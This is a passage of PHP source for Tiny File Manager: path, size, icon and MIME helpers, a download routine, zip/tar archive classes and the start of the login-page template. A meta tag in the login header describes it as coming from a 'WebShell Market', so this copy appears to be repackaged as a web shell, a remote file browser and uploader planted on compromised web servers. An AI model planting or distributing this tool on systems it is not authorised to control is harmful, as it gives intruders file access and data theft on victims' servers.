    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fm_enc(fm_convert_win($file_path))
            );
    }
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file)
{
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr)
{
    try {
        $content = @file_get_contents('translation.json');
        if ($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value) {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }
    } catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param string $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin = null;
    static $isdarwin = null;
    static $exec_works = null;

    // Set static variables once
    if ($iswin === null) {
        $iswin = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        $isdarwin = strtoupper(PHP_OS) === 'DARWIN';
        $exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') === 'EXEC';
    }

    // Attempt shell command if exec is available
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = $iswin ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);

        if (!empty($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // Attempt Windows COM interface for Windows systems
    if ($iswin && class_exists('COM')) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile(realpath($file));
            if (ctype_digit($size = $f->Size)) {
                return $size;
            }
        } catch (Exception $e) {
            // COM failed, fallback to filesize
        }
    }

    // Default to PHP's filesize function
    return filesize($file);
}


/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext)
{
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif ($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach (new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://" . $path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text)
{
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
        case 'ps1':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt',
        'css',
        'ini',
        'conf',
        'log',
        'htaccess',
        'passwd',
        'ftpquota',
        'sql',
        'js',
        'ts',
        'jsx',
        'tsx',
        'mjs',
        'json',
        'sh',
        'config',
        'php',
        'php4',
        'php5',
        'phps',
        'phtml',
        'htm',
        'html',
        'shtml',
        'xhtml',
        'xml',
        'xsl',
        'm3u',
        'm3u8',
        'pls',
        'cue',
        'bash',
        'vue',
        'eml',
        'msg',
        'csv',
        'bat',
        'twig',
        'tpl',
        'md',
        'gitignore',
        'less',
        'sass',
        'scss',
        'c',
        'cpp',
        'cs',
        'py',
        'go',
        'zsh',
        'swift',
        'map',
        'lock',
        'dtd',
        'svg',
        'asp',
        'aspx',
        'asx',
        'asmx',
        'ashx',
        'jsp',
        'jspx',
        'cgi',
        'dockerfile',
        'ruby',
        'yml',
        'yaml',
        'toml',
        'vhost',
        'scpt',
        'applescript',
        'csx',
        'cshtml',
        'c++',
        'coffee',
        'cfm',
        'rb',
        'graphql',
        'mustache',
        'jinja',
        'http',
        'handlebars',
        'java',
        'es',
        'es6',
        'markdown',
        'wiki',
        'tmp',
        'top',
        'bot',
        'dat',
        'bak',
        'htpasswd',
        'pl',
        'ps1'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

/**
 * It returns the mime type of a file based on its extension.
 * @param extension The file extension of the file you want to get the mime type for.
 * @return string|string[] The mime type of the file.
 */
function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if (empty($fileTypes[$extension])) {
        $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return array|null
 */
function scan($dir = '', $filter = '')
{
    $path = FM_ROOT_PATH . '/' . $dir;
    if ($path) {
        $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
        $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

        $files = array();
        foreach ($rii as $file) {
            if (!$file->isDir()) {
                $fileName = $file->getFilename();
                $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                $files[] = array(
                    "name" => $fileName,
                    "type" => "file",
                    "path" => $location,
                );
            }
        }
        return $files;
    }
}

/**
 * Parameters: downloadFile(File Location, File Name,
 * max speed, is streaming
 * If streaming - videos will show as videos, images as images
 * instead of download prompt
 * https://stackoverflow.com/a/13821992/1164642
 */
function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if (is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Save Configuration
 */
class FM_Config
{
    var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url . $_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        global $config_file;
        $fm_file = is_readable($config_file) ? $config_file : __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration" . chr(13) . chr(10) . "$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}

//--- Templates Functions ---

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
?>
    <nav class="navbar navbar-expand-lg mb-4 main-nav <?php echo $isStickyNavBar ?> bg-body-tertiary" data-bs-theme="<?php echo FM_THEME; ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end" data-bs-theme="<?php echo FM_THEME; ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                        <li class="nav-item">
                            <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                        </li>
                        <li class="nav-item">
                            <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                        </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                        <li class="nav-item avatar dropdown">
                            <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-expanded="false">
                                <i class="fa fa-user-circle"></i>
                            </a>
                            <div class="dropdown-menu text-small shadow" aria-labelledby="navbarDropdownMenuLink-5" data-bs-theme="<?php echo FM_THEME; ?>">
                                <?php if (!FM_READONLY): ?>
                                    <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                                <?php endif ?>
                                <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                                <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                            </div>
                        </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
<?php
}

/**
 * Show alert message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
    header("Content-Type: text/html; charset=utf-8");
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
    header("Pragma: no-cache");

    global $favicon_path;
?>
    <!DOCTYPE html>
    <html lang="en" data-bs-theme="<?php echo (FM_THEME == "dark") ? 'dark' : 'light' ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Largest WebShell Market @b3tt3r_c4ll_s4ul">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('css-bootstrap'); ?>
        <style>
            body.fm-login-page {
                background-color: #f7f9fb;
                font-size: 14px;
                background-color: #f7f9fb;
                background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 